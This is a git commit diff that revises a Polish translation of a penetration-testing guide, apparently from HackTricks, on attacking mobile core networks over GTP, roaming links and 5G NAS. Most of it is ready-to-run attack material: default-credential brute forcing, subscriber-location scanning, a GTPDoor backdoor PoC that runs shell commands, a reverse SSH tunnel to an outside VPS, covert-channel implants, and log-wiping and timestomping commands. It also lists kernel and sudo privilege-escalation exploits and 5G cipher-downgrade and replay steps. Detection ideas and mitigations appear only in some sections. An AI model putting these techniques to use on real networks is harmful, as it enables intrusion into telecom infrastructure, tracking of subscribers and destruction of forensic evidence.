Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 20:10:41 +00:00
parent 0982e62bc0
commit e470cdc691

View File

@ -1,27 +1,27 @@
# Telecom Network Exploitation (GTP / Roaming Environments)
# Wykorzystywanie sieci telekomunikacyjnych (GTP / środowiska roamingowe)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Protokół mobilny (GPRS Tunnelling Protocol GTP) często przechodzi przez pół-zaufane rdzenie roamingowe GRX/IPX. Ponieważ korzystają z prostego UDP z prawie żadną autoryzacją, **jakiekolwiek wejście wewnątrz perymetru telekomunikacyjnego zazwyczaj może bezpośrednio dotrzeć do rdzeniowych płaszczyzn sygnalizacyjnych**. Poniższe uwagi zbierają ofensywne sztuczki zaobserwowane w terenie przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.
> Protokoły rdzenia mobilnego (GPRS Tunnelling Protocol GTP) często przebiegają przez pół-zaufane zaplecza roamingowe GRX/IPX. Ponieważ korzystają z plain UDP z niemal żadnym uwierzytelnianiem, **każde przyczółkowe wejście w obręb telekomu zazwyczaj może bezpośrednio dotrzeć do płaszczyzn sygnalizacyjnych rdzenia**. Poniższe notatki zbierają ofensywne sztuczki zaobserwowane w praktyce przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Zaskakująco duża liczba elementów sieciowych dostawców jest dostarczana z twardo zakodowanymi użytkownikami SSH/Telnet, takimi jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Dedykowana lista słów znacznie zwiększa sukces brute-force:
### 1.1 Domyślne konta OSS / NE
Zadziwiająco duża liczba elementów sieciowych vendorów jest dostarczana z na stałe zakodowanymi użytkownikami SSH/Telnet, takimi jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Dedykowana wordlist dramatycznie zwiększa sukces brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Jeśli urządzenie udostępnia tylko VRF zarządzania, najpierw przeskocz przez host skokowy (zobacz sekcję «SGSN Emu Tunnel» poniżej).
Jeśli urządzenie udostępnia tylko management VRF, najpierw wykonaj pivot przez jump host (zobacz sekcję «SGSN Emu Tunnel» poniżej).
### 1.2 Odkrywanie hostów w GRX/IPX
Większość operatorów GRX nadal pozwala na **ICMP echo** wzdłuż rdzenia. Połącz `masscan` z wbudowanymi sondami UDP `gtpv1`, aby szybko zmapować nasłuchiwacze GTP-C:
### 1.2 Wykrywanie hostów w GRX/IPX
Większość operatorów GRX nadal zezwala na **ICMP echo** przez backbone. Połącz `masscan` z wbudowanymi `gtpv1` UDP probes, aby szybko zmapować nasłuchiwacze GTP-C:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerowanie subskrybentów `cordscan`
## 2. Enumeracja abonentów `cordscan`
Narzędzie Go tworzy pakiety **GTP-C Create PDP Context Request** i rejestruje odpowiedzi. Każda odpowiedź ujawnia aktualny **SGSN / MME** obsługujący zapytany IMSI i, czasami, odwiedzony przez subskrybenta PLMN.
Poniższe narzędzie w Go tworzy pakiety **GTP-C Create PDP Context Request** i zapisuje odpowiedzi. Każda odpowiedź ujawnia aktualny **SGSN / MME** obsługujący zapytanego IMSI i, czasami, odwiedzany PLMN abonenta.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -30,19 +30,19 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Kluczowe flagi:
- `--imsi` Docelowy subskrybent IMSI
- `--oper` Krajowy / HNI (MCC+MNC)
- `-w` Zapisz surowe pakiety do pcap
- `--imsi` Docelowy IMSI subskrybenta
- `--oper` Home / HNI (MCC+MNC)
- `-w` Zapisuje surowe pakiety do pcap
Ważne stałe wewnątrz binarnego pliku mogą być zmieniane, aby rozszerzyć skany:
Ważne stałe wewnątrz binarki można załatać, aby rozszerzyć skany:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Wykonanie kodu przez GTP `GTPDoor`
## 3. Uruchamianie kodu przez GTP `GTPDoor`
`GTPDoor` to mała usługa ELF, która **wiąże UDP 2123 i analizuje każdy przychodzący pakiet GTP-C**. Gdy ładunek zaczyna się od wspólnego tagu, reszta jest deszyfrowana (AES-128-CBC) i wykonywana za pomocą `/bin/sh -c`. stdout/stderr są eksfiltrowane w wiadomościach **Echo Response**, aby żadne zewnętrzne sesje nie były nigdy tworzone.
`GTPDoor` to mała usługa ELF, która **nasłuchuje na UDP 2123 i parsuje każdy przychodzący pakiet GTP-C**. Gdy payload zaczyna się od wcześniej udostępnionego tagu, reszta jest odszyfrowywana (AES-128-CBC) i wykonywana przez `/bin/sh -c`. Wyjścia stdout/stderr są eksfiltrowane w wiadomościach **Echo Response**, dzięki czemu nie jest tworzona żadna sesja wychodząca.
Minimalny pakiet PoC (Python):
```python
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Wykrywanie:
* każdy host wysyłający **niezrównoważone żądania Echo** do adresów IP SGSN
* flaga wersji GTP ustawiona na 1, gdy typ wiadomości = 1 (Echo) odchylenie od specyfikacji
* każdy host wysyłający **unbalanced Echo Requests** do adresów IP SGSN
* flaga wersji GTP ustawiona na 1, podczas gdy typ wiadomości = 1 (Echo) odstępstwo od specyfikacji
## 4. Przechodzenie przez rdzeń
## 4. Pivoting przez Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` dostarcza emulator SGSN zdolny do **nawiązania kontekstu PDP w kierunku rzeczywistego GGSN/PGW**. Po negocjacji, Linux otrzymuje nowy interfejs `tun0` dostępny z roamingowego partnera.
`OsmoGGSN` dostarcza emulator SGSN zdolny do **nawiązania kontekstu PDP z rzeczywistym GGSN/PGW**. Po negocjacji Linux otrzymuje nowy interfejs `tun0`, dostępny dla partnera roamingowego.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Dzięki odpowiedniemu przekierowaniu zapory, ten tunel omija VLAN-y tylko do sygnalizacji i ląduje bezpośrednio w **warstwie danych**.
Przy odpowiednim firewall hair-pinning ten tunel omija signalling-only VLANs i trafia bezpośrednio do **data plane**.
### 4.2 Odwrócony tunel SSH przez port 53
DNS jest prawie zawsze otwarty w infrastrukturach roamingowych. Udostępnij wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i wróć później z domu:
### 4.2 SSH Reverse Tunnel over Port 53
DNS jest niemal zawsze otwarty w infrastrukturach roamingowych. Udostępnij wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i wróć później z domu:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Sprawdź, czy `GatewayPorts yes` jest włączone na VPS.
## 5. Ukryte kanały
## 5. Kanały ukryte
| Kanał | Transport | Dekodowanie | Uwagi |
|-------|-----------|-------------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-bajtowy klucz + 14-bajtowe kawałki (XOR) | czysty pasywny nasłuchiwacz, brak ruchu wychodzącego |
| DNS `NoDepDNS` | UDP 53 | XOR (klucz = `funnyAndHappy`) zakodowany w oktetach rekordu A | obserwuje subdomenę `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC w prywatnym IE | łączy się z legalnym czatem GTP-C |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | całkowicie pasywny listener, brak ruchu wychodzącego |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | nasłuchuje subdomeny `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | maskuje się w legalnym ruchu GTP-C |
Wszystkie implanty implementują watchdogi, które **timestomp** ich binaria i ponownie uruchamiają się w przypadku awarii.
Wszystkie implants używają watchdogów, które wykonują **timestomp** na swoich binarkach i re-spawnują się po awarii.
## 6. Arkusz oszustw w zakresie unikania obrony
## 6. Defense Evasion — ściąga
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Eskalacja uprawnień w Legacy NE
## 7. Privilege Escalation w Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -111,30 +111,137 @@ python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Wskazówka dotycząca czyszczenia:
Wskazówka dotycząca sprzątania:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Narzędzia
## 8. Skrzynka narzędzi
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` niestandardowe narzędzia opisane w poprzednich sekcjach.
* `FScan` : skanowanie TCP w intranecie (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS nieautoryzowany WPAD
* `Microsocks` + `ProxyChains` : lekkie pivotowanie SOCKS5
* `FRP` (≥0.37) : przechodzenie przez NAT / mostkowanie zasobów
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling opisane we wcześniejszych sekcjach.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. Ataki rejestracji 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Procedura rejestracji 5G przebiega po NAS (Non-Access Stratum) na NGAP. Do momentu aktywacji bezpieczeństwa NAS przez Security Mode Command/Complete, początkowe wiadomości są nieautentykowane i niezaszyfrowane. To okno przed zabezpieczeniem umożliwia wiele ścieżek ataku, gdy możesz obserwować lub modyfikować ruch N2 (np. on-path wewnątrz core, rogue gNB lub testbed).
Przepływ rejestracji (upraszczony):
- Registration Request: UE wysyła SUCI (SUPI zaszyfrowany kluczem publicznym sieci domowej) i capabilities.
- Authentication: AMF/AUSF wysyłają RAND/AUTN; UE zwraca RES*.
- Security Mode Command/Complete: negocjowana i aktywowana jest integralność i szyfrowanie NAS.
- PDU Session Establishment: konfiguracja IP/QoS.
Wskazówki do laboratorium (bez RF):
- Core: domyślna deployacja Open5GS wystarcza do odtworzenia przepływów.
- UE: simulator lub test UE; dekoduj za pomocą Wireshark.
- Aktywne narzędzia: 5GReplay (capture/modify/replay NAS w ramach NGAP), Sni5Gect (sniff/patch/inject NAS on the fly bez uruchamiania pełnego rogue gNB).
- Przydatne filtry wyświetlania w Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Prywatność identyfikatora: awarie SUCI ujawniające SUPI/IMSI
Oczekiwane: UE/USIM musi wysyłać SUCI (SUPI zaszyfrowany kluczem publicznym operatora domowego). Znalezienie SUPI/IMSI w postaci plaintext w Registration Request wskazuje na defekt prywatności umożliwiający trwałe śledzenie abonenta.
Jak testować:
- Przechwyć pierwszą wiadomość NAS w InitialUEMessage i sprawdź Mobile Identity IE.
- Szybkie kontrole w Wireshark:
- Powinno się zdekodować jako SUCI, nie IMSI.
- Przykładowe filtry: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` powinny występować; ich brak wraz z obecnością `imsi` wskazuje na leak.
Co zbierać:
- MCC/MNC/MSIN jeśli są ujawnione; logować per-UE i śledzić w czasie/lokalizacjach.
Łagodzenie:
- Wymusić UEs/USIMs wysyłające tylko SUCI; alertować przy każdym IMSI/SUPI w initial NAS.
### 9.2 Capability bidding-down do algorytmów null (EEA0/EIA0)
Tło:
- UE reklamuje obsługiwane EEA (szyfrowanie) i EIA (integralność) w UE Security Capability IE Registration Request.
- Typowe mapowania: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 to algorytmy null.
Problem:
- Ponieważ Registration Request nie jest chroniony integralnością, atakujący on-path może wyczyścić bity capability, aby wymusić wybór EEA0/EIA0 później w Security Mode Command. Niektóre stosy błędnie pozwalają na algorytmy null poza usługami awaryjnymi.
Kroki ofensywne:
- Przechwyć InitialUEMessage i zmodyfikuj NAS UE Security Capability tak, by reklamować tylko EEA0/EIA0.
- Przy użyciu Sni5Gect podczep NAS message i załat w nim bity capability przed forwardem.
- Obserwuj, czy AMF akceptuje null ciphers/integrity i kończy Security Mode z EEA0/EIA0.
Weryfikacja/widoczność:
- W Wireshark potwierdź wybrane algorytmy po Security Mode Command/Complete.
- Przykładowy output pasywnego sniffera:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Środki zaradcze (wymagane):
- Skonfiguruj AMF/policy tak, aby odrzucał EEA0/EIA0, z wyjątkiem sytuacji ściśle nakazanych (np. połączenia alarmowe).
- Wymagaj przynajmniej EEA2/EIA2; rejestruj i zgłaszaj alarm dla każdego kontekstu bezpieczeństwa NAS, który negocjuje null algorithms.
### 9.3 Odtworzenie początkowego Registration Request (pre-security NAS)
Ponieważ początkowy NAS nie zapewnia integralności i świeżości, przechwycony InitialUEMessage+Registration Request może zostać odtworzony do AMF.
Reguła PoC dla 5GReplay do przekazywania pasujących odtworzeń:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
Co obserwować:
- Czy AMF akceptuje replay i przechodzi do uwierzytelniania; brak walidacji świeżości/kontekstu wskazuje na narażenie.
Mitigations:
- Wymuszaj ochronę przed replay oraz powiązanie kontekstu na AMF; stosuj rate-limiting i koreluj zdarzenia per-GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: uruchom AMF/SMF/UPF, aby emulować core; obserwuj N2 (NGAP) i NAS.
- Wireshark: zweryfikuj dekodowania NGAP/NAS; zastosuj powyższe filtry, aby odizolować Registration.
- 5GReplay: przechwyć registration, a następnie odtwórz konkretne komunikaty NGAP + NAS zgodnie z regułą.
- Sni5Gect: na żywo sniff/modify/inject płaszczyznę kontrolną NAS, aby wymusić null algorithms lub zakłócić sekwencje uwierzytelniania.
### 9.5 Defensive checklist
- Ciągle inspekcjonuj Registration Request pod kątem plaintext SUPI/IMSI; blokuj urządzenia/USIMy powodujące problem.
- Odrzucaj EEA0/EIA0 poza ściśle określonymi procedurami awaryjnymi; wymagaj co najmniej EEA2/EIA2.
- Wykrywaj nieautoryzowaną lub źle skonfigurowaną infrastrukturę: nieautoryzowane gNB/AMF, nieoczekiwani peerzy N2.
- Generuj alerty dla trybów bezpieczeństwa NAS skutkujących null algorithms lub częstymi replayami InitialUEMessage.
---
## Pomysły na wykrywanie
1. **Jakiekolwiek urządzenie inne niż SGSN/GGSN nawiązujące żądania utworzenia kontekstu PDP**.
2. **Niestandardowe porty (53, 80, 443) odbierające handshake SSH** z wewnętrznych adresów IP.
3. **Częste żądania Echo bez odpowiadających odpowiedzi Echo** mogą wskazywać na sygnały GTPDoor.
4. **Wysoka liczba ruchu ICMP echo-reply z dużymi, niezerowymi polami identyfikatora/sekwencji**.
1. **Jakiekolwiek urządzenie inne niż SGSN/GGSN ustanawiające Create PDP Context Requests**.
2. **Porty niestandardowe (53, 80, 443) otrzymujące SSH handshakes** z wewnętrznych IP.
3. **Częste Echo Requests bez odpowiadających Echo Responses** może wskazywać na GTPDoor beacony.
4. **Wysokie natężenie ruchu ICMP echo-reply z dużymi, niezerowymi polami identifier/sequence**.
5. 5G: **InitialUEMessage zawierające NAS Registration Requests powtarzane z tych samych punktów końcowych** (sygnał replay).
6. 5G: **NAS Security Mode negocjujący EEA0/EIA0** poza kontekstami awaryjnymi.
## Odnośniki
## References
- [Palo Alto Unit42 Infiltracja globalnych sieci telekomunikacyjnych](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 Protokół tunelowania GPRS (v16.4.0)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}